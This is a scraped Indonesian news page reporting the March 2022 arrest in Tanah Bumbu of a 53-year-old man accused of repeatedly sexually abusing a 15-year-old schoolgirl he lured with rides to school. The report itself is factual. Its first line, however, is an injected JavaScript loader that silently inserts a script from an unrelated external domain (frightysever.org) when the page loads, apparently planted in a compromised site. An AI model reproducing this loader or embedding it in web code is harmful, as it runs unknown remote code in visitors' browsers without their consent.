(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Berkedok Antar Sekolah, Seorang Pria di Kusan Hilir Tega Setubuhi Gadis Bawah Umur 18 Kali


KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Kusan Hilir Polres Tanah Bumbu mengamankan seorang pria terduga melakukan tindak pidana persetubuhan anak di bawah umur, Selasa (1/3/2022).

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa kepada awak media, Rabu (2/3/2022) membenarkan penangkapan atas pelaku tersebut.

“Iya, benar anggota Polsek Kusan Hilir telah mengamankan pelaku,” ungkapnya.
Pelaku adalah THR (53) yang bekerja sebagai karyawan swasta merupakan Warga RT 02 dari Desa Manurung Kecamatan Kusan Tengah, Kabupaten Tanah Bumbu.

Pelaku THR telah melakukan aksi bejatnya menyetubuhi anak di bawah umur (15) yang merupakan pelajar SLTP sebanyak 18 kali pada Januari 2022.

 

Baca juga : Pertama di Luar Pengadilan Agama Banjarbaru, Tiga Pasangan Sidang Itsbat Nikah Terpadu

Aksi bejatnya dilakukan, di rumah pelaku THR di Kecamatan Kusan Hilir.
Kejadian tersebut terjadi bermula ketika tersangka mengantar korban dengan menggunakan sepeda motor milik tersangka dengan maksud untuk diantar ke sekolah korban.

Akan tetapi setelah korban bersedia dan naik ke motor tersangka, ternyata yang bersangkutan membawa korban ke rumahnya dan meminta korban masuk ke kamar tersangka.

Setelah berada di dalam kamar, tersangka kemudian tersangka mengiming-imingi akan memberikan korban uang setelah itu tersangka langsung menyetubuhi korban. Kejadian tersebut terus diulang sebanyak 18 kali kepada korban.

Setelah kejadian tersebut, korban menceritakan perbuatan tersangka tersebut kepada pelapor dan diteruskan ke Polsek Kusan Hilir.

 

Baca juga : Loka POM HSU Pastikan Semua Vaksin Aman

Kini pelaku THR bersama barang bukti uang tunai sebesar Rp150.000, 16 butir PIL KB Merk Mikrodiol 30 dan 1 (satu) Unit Sepeda Motor Mio Soul Warna Putih dengan Nopol DA 69XX ZAA.

Pelaku akan disangkakan dengan Pasal 81 Ayat (2) UU RI No. 35 Tahun 2014 Peraturan Perundang-Undangan No. 01 Tahun 2016 Tentang Perubahan Kedua UU RI No. 23 Tahun 2002 Tentang Perlindungan Anak yang telah ditetapkan sebagai UU No. 17 Tahun 2016 Jo Pasal 64 Ayat (1) KUHP.(Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

8 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

8 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

8 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

9 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

9 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

9 jam ago

This website uses cookies.